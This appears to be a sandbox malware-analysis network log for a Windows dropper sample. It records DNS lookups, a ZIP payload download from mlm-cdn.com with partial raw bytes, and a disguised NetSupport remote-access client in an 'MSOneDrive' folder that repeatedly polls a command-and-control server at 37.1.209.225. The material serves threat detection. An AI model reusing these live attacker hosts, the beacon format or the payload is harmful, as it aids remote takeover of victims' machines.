Sep 21, 2024 14:45:38.626863956 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.626931906 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.627840996 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.627907991 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.714333057 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.714411020 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.714886904 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.714942932 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.715648890 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.715837955 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.716509104 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.716571093 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.717367887 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.717433929 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.717664957 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.717720032 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.718859911 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.718920946 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.802797079 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.802881002 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.803077936 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.803138018 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.803497076 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.803555012 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.803849936 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.803905010 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.804116011 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.804167032 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.804589033 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.804629087 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.804694891 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.804694891 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.804708958 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.804752111 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.807666063 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.807749987 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.807936907 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.807985067 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.808355093 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.808408976 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.808552027 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.808610916 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.891824961 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.891952991 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.891979933 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.892009974 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.892045021 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.892061949 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.892112017 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.892175913 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.892250061 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.892323971 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.892632008 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.892699003 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.893196106 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.893286943 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.893294096 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.893317938 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.893353939 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.893378973 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.894062042 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.894133091 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.894155979 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.894212008 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.894912004 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.894990921 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.895023108 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.895087957 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.895112038 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.895172119 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.895781040 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.895854950 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.895889044 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.895970106 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.896662951 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.896742105 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.896761894 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.896814108 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.980186939 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.980328083 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.980431080 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.980480909 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.980674028 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.980731010 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.981184006 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.981241941 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.981622934 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.981678963 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.981857061 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.981905937 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.982398033 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.982470989 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.982873917 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.982932091 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.982932091 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.982944012 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.982969999 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.982980013 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.982994080 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.983016968 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.983035088 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.983813047 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.983863115 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.983871937 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.983877897 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.983920097 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.984685898 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.984740019 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.984741926 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.984750986 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.984774113 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.984787941 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.984795094 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.984858990 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.985582113 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.985647917 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:39.068650961 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:39.068783045 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:39.069000959 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:39.069149971 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:39.069299936 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:39.069356918 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:39.069370985 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:39.069405079 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:39.069407940 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:39.069451094 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:39.076342106 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:39.076363087 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:39.519445896 CEST	49704	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:45:39.519488096 CEST	443	49704	37.1.209.225	192.168.2.7
Sep 21, 2024 14:45:39.519711971 CEST	49704	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:45:39.583432913 CEST	49704	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:45:39.583453894 CEST	443	49704	37.1.209.225	192.168.2.7
Sep 21, 2024 14:45:39.583517075 CEST	443	49704	37.1.209.225	192.168.2.7
Sep 21, 2024 14:45:40.590425014 CEST	49705	80	192.168.2.7	172.67.68.212
Sep 21, 2024 14:45:40.595690966 CEST	80	49705	172.67.68.212	192.168.2.7
Sep 21, 2024 14:45:40.595936060 CEST	49705	80	192.168.2.7	172.67.68.212
Sep 21, 2024 14:45:40.596533060 CEST	49705	80	192.168.2.7	172.67.68.212
Sep 21, 2024 14:45:40.601782084 CEST	80	49705	172.67.68.212	192.168.2.7
Sep 21, 2024 14:45:41.241857052 CEST	80	49705	172.67.68.212	192.168.2.7
Sep 21, 2024 14:45:41.241981983 CEST	49705	80	192.168.2.7	172.67.68.212
Sep 21, 2024 14:46:34.895026922 CEST	63016	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:46:34.895076036 CEST	443	63016	37.1.209.225	192.168.2.7
Sep 21, 2024 14:46:34.895260096 CEST	63016	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:46:34.955997944 CEST	63016	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:46:34.956073046 CEST	443	63016	37.1.209.225	192.168.2.7
Sep 21, 2024 14:46:34.956187010 CEST	443	63016	37.1.209.225	192.168.2.7
Sep 21, 2024 14:47:08.219805956 CEST	63017	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:47:08.219851017 CEST	443	63017	37.1.209.225	192.168.2.7
Sep 21, 2024 14:47:08.219908953 CEST	63017	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:47:08.284018040 CEST	63017	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:47:08.284050941 CEST	443	63017	37.1.209.225	192.168.2.7
Sep 21, 2024 14:47:08.284104109 CEST	443	63017	37.1.209.225	192.168.2.7
Sep 21, 2024 14:47:30.568032980 CEST	49705	80	192.168.2.7	172.67.68.212
Sep 21, 2024 14:47:30.573524952 CEST	80	49705	172.67.68.212	192.168.2.7
Sep 21, 2024 14:47:30.575905085 CEST	49705	80	192.168.2.7	172.67.68.212
Sep 21, 2024 14:47:42.513309956 CEST	63018	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:47:42.513359070 CEST	443	63018	37.1.209.225	192.168.2.7
Sep 21, 2024 14:47:42.513807058 CEST	63018	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:47:42.637018919 CEST	63018	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:47:42.637053967 CEST	443	63018	37.1.209.225	192.168.2.7
Sep 21, 2024 14:47:42.637120008 CEST	443	63018	37.1.209.225	192.168.2.7
Sep 21, 2024 14:48:15.488215923 CEST	63019	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:48:15.488272905 CEST	443	63019	37.1.209.225	192.168.2.7
Sep 21, 2024 14:48:15.488357067 CEST	63019	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:48:15.550273895 CEST	63019	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:48:15.550304890 CEST	443	63019	37.1.209.225	192.168.2.7
Sep 21, 2024 14:48:15.550365925 CEST	443	63019	37.1.209.225	192.168.2.7
Sep 21, 2024 14:48:48.707824945 CEST	63020	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:48:48.707878113 CEST	443	63020	37.1.209.225	192.168.2.7
Sep 21, 2024 14:48:48.711967945 CEST	63020	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:48:48.769455910 CEST	63020	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:48:48.769473076 CEST	443	63020	37.1.209.225	192.168.2.7
Sep 21, 2024 14:48:48.769550085 CEST	443	63020	37.1.209.225	192.168.2.7
Sep 21, 2024 14:49:21.895914078 CEST	63021	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:49:21.895967007 CEST	443	63021	37.1.209.225	192.168.2.7
Sep 21, 2024 14:49:21.900033951 CEST	63021	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:49:21.959918976 CEST	63021	443	192.168.2.7	37.1.209.225
Sep 21, 2024 14:49:21.959949970 CEST	443	63021	37.1.209.225	192.168.2.7
Sep 21, 2024 14:49:21.960012913 CEST	443	63021	37.1.209.225	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 21, 2024 14:45:29.931708097 CEST	64806	53	192.168.2.7	1.1.1.1
Sep 21, 2024 14:45:30.191175938 CEST	53	64806	1.1.1.1	192.168.2.7
Sep 21, 2024 14:45:39.463484049 CEST	55856	53	192.168.2.7	1.1.1.1
Sep 21, 2024 14:45:39.507834911 CEST	53	55856	1.1.1.1	192.168.2.7
Sep 21, 2024 14:45:39.613857031 CEST	56398	53	192.168.2.7	1.1.1.1
Sep 21, 2024 14:45:39.623414040 CEST	53	56398	1.1.1.1	192.168.2.7
Sep 21, 2024 14:45:40.577469110 CEST	52598	53	192.168.2.7	1.1.1.1
Sep 21, 2024 14:45:40.587286949 CEST	53	52598	1.1.1.1	192.168.2.7
Sep 21, 2024 14:45:51.400764942 CEST	53	62107	1.1.1.1	192.168.2.7
Sep 21, 2024 14:46:34.957557917 CEST	50102	53	192.168.2.7	1.1.1.1
Sep 21, 2024 14:46:34.967550993 CEST	53	50102	1.1.1.1	192.168.2.7
Sep 21, 2024 14:47:08.285001993 CEST	50923	53	192.168.2.7	1.1.1.1
Sep 21, 2024 14:47:08.387445927 CEST	53	50923	1.1.1.1	192.168.2.7
Sep 21, 2024 14:47:42.640400887 CEST	53309	53	192.168.2.7	1.1.1.1
Sep 21, 2024 14:47:42.649945974 CEST	53	53309	1.1.1.1	192.168.2.7
Sep 21, 2024 14:48:15.550982952 CEST	50192	53	192.168.2.7	1.1.1.1
Sep 21, 2024 14:48:15.766632080 CEST	53	50192	1.1.1.1	192.168.2.7
Sep 21, 2024 14:48:48.770603895 CEST	50429	53	192.168.2.7	1.1.1.1
Sep 21, 2024 14:48:48.777656078 CEST	53	50429	1.1.1.1	192.168.2.7
Sep 21, 2024 14:49:21.968064070 CEST	51518	53	192.168.2.7	1.1.1.1
Sep 21, 2024 14:49:22.094172001 CEST	53	51518	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 21, 2024 14:45:29.931708097 CEST	192.168.2.7	1.1.1.1	0xd24e	Standard query (0)	mlm-cdn.com	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:45:39.463484049 CEST	192.168.2.7	1.1.1.1	0x8f8f	Standard query (0)	armayalitim.com	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:45:39.613857031 CEST	192.168.2.7	1.1.1.1	0x107	Standard query (0)	armayalitim1722.com	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:45:40.577469110 CEST	192.168.2.7	1.1.1.1	0x5f83	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:46:34.957557917 CEST	192.168.2.7	1.1.1.1	0x3bac	Standard query (0)	armayalitim1722.com	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:47:08.285001993 CEST	192.168.2.7	1.1.1.1	0x756a	Standard query (0)	armayalitim1722.com	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:47:42.640400887 CEST	192.168.2.7	1.1.1.1	0x3611	Standard query (0)	armayalitim1722.com	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:48:15.550982952 CEST	192.168.2.7	1.1.1.1	0xd959	Standard query (0)	armayalitim1722.com	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:48:48.770603895 CEST	192.168.2.7	1.1.1.1	0x6edc	Standard query (0)	armayalitim1722.com	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:49:21.968064070 CEST	192.168.2.7	1.1.1.1	0x86b7	Standard query (0)	armayalitim1722.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 21, 2024 14:45:30.191175938 CEST	1.1.1.1	192.168.2.7	0xd24e	No error (0)	mlm-cdn.com		142.11.212.184	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:45:39.507834911 CEST	1.1.1.1	192.168.2.7	0x8f8f	No error (0)	armayalitim.com		37.1.209.225	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:45:39.623414040 CEST	1.1.1.1	192.168.2.7	0x107	Name error (3)	armayalitim1722.com	none	none	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:45:40.587286949 CEST	1.1.1.1	192.168.2.7	0x5f83	No error (0)	geo.netsupportsoftware.com		172.67.68.212	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:45:40.587286949 CEST	1.1.1.1	192.168.2.7	0x5f83	No error (0)	geo.netsupportsoftware.com		104.26.1.231	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:45:40.587286949 CEST	1.1.1.1	192.168.2.7	0x5f83	No error (0)	geo.netsupportsoftware.com		104.26.0.231	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:46:34.967550993 CEST	1.1.1.1	192.168.2.7	0x3bac	Name error (3)	armayalitim1722.com	none	none	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:47:08.387445927 CEST	1.1.1.1	192.168.2.7	0x756a	Name error (3)	armayalitim1722.com	none	none	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:47:42.649945974 CEST	1.1.1.1	192.168.2.7	0x3611	Name error (3)	armayalitim1722.com	none	none	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:48:15.766632080 CEST	1.1.1.1	192.168.2.7	0xd959	Name error (3)	armayalitim1722.com	none	none	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:48:48.777656078 CEST	1.1.1.1	192.168.2.7	0x6edc	Name error (3)	armayalitim1722.com	none	none	A (IP address)	IN (0x0001)	false
Sep 21, 2024 14:49:22.094172001 CEST	1.1.1.1	192.168.2.7	0x86b7	Name error (3)	armayalitim1722.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mlm-cdn.com

37.1.209.225connection: keep-alivecmd=pollinfo=1ack=1

geo.netsupportsoftware.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49704	37.1.209.225	443	7384	C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 14:45:39.583432913 CEST	216	OUT	POST http://37.1.209.225/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 37.1.209.225Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49705	172.67.68.212	80	7384	C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 14:45:40.596533060 CEST	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Sep 21, 2024 14:45:41.241857052 CEST	933	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 12:45:41 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8c6a275b3aec4249-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Set-Cookie: ASPSESSIONIDSSBTACBQ=OBMMKFKCAJDFNNMPEMKBIMDJ; path=/ Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Accept-Encoding cf-apo-via: origin,host Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ey%2BwzqINPOAVsMVzAdkyxkgC8tUn91QDBYNKiBhAJFx1hAgRcjGJZ7Isg%2BxXms5JO%2BzSch6PLRjQLVeEU0iUJpwHUaCElpVyo0seBm7IRMTXhYFDA5aahOPbHfa2E2DBqXqfwAlJGTwc9TBY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare Data Raw: 31 30 0d 0a 34 30 2e 37 33 35 37 2c 2d 37 34 2e 31 37 32 34 0d 0a 30 0d 0a 0d 0a Data Ascii: 1040.7357,-74.17240

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	63016	37.1.209.225	443	7384	C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 14:46:34.955997944 CEST	216	OUT	POST http://37.1.209.225/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 37.1.209.225Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	63017	37.1.209.225	443	7384	C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 14:47:08.284018040 CEST	216	OUT	POST http://37.1.209.225/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 37.1.209.225Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	63018	37.1.209.225	443	7384	C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 14:47:42.637018919 CEST	216	OUT	POST http://37.1.209.225/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 37.1.209.225Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	63019	37.1.209.225	443	7384	C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 14:48:15.550273895 CEST	216	OUT	POST http://37.1.209.225/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 37.1.209.225Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	63020	37.1.209.225	443	7384	C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 14:48:48.769455910 CEST	216	OUT	POST http://37.1.209.225/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 37.1.209.225Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	63021	37.1.209.225	443	7384	C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 14:49:21.959918976 CEST	216	OUT	POST http://37.1.209.225/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 37.1.209.225Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	142.11.212.184	443	4504	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 12:45:31 UTC	49	OUT	GET /ssd/sdn1.zip HTTP/1.1 Host: mlm-cdn.com
2024-09-21 12:45:31 UTC	264	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 12:45:31 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sat, 10 Aug 2024 18:46:12 GMT Accept-Ranges: bytes Content-Length: 1541147 Vary: Accept-Encoding Content-Type: application/zip
2024-09-21 12:45:31 UTC	7928	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 82 2d d7 56 82 9c 8a a4 d1 00 00 00 06 01 00 00 07 00 00 00 4e 53 4d 2e 6c 69 63 2d 8f c1 4e c3 30 0c 86 ef 91 f2 0e 79 01 58 92 76 8c 82 72 82 c2 05 76 59 07 87 69 aa a2 cc 88 88 e0 44 4e 36 ba b7 a7 61 d8 a7 ef b7 e5 ff b7 d2 52 72 26 27 bd b2 b6 71 0d 67 9c dd 8b 35 94 cd 31 a5 48 45 bc 78 07 98 41 3c f9 00 d7 75 f6 0c 08 64 0b 1c 44 44 a1 96 77 6d 2b ae 84 ee 16 b2 59 68 a9 5a ce 2e bd db f5 f8 11 c9 c1 7e ff 87 e3 ff a1 99 5c c4 42 31 8c 11 c3 d9 cc e6 30 25 4f 67 c3 99 47 eb 8a 3f 41 15 c3 65 1d cc e3 c3 db 30 0c db 6d df bf eb 39 de b7 9d 72 b0 27 c8 46 c9 5a 9c c5 ac 8d e2 2c 51 3c 1c 5d 99 65 ce 32 90 b7 61 c4 68 d6 9b d7 db ee 66 d9 ad 66 f1 93 3c 7e 8d 3f 64 53 35 28 64 31 d7 17 2b fc 02 50 4b 03 04 14 00 00 00 08 Data Ascii: PK-VNSM.lic-N0yXvrvYiDN6aRr&'qg51HExA<udDDwm+YhZ.~\B10%OgG?Ae0m9r'FZ,Q<]e2ahff<~?dS5(d1+PK
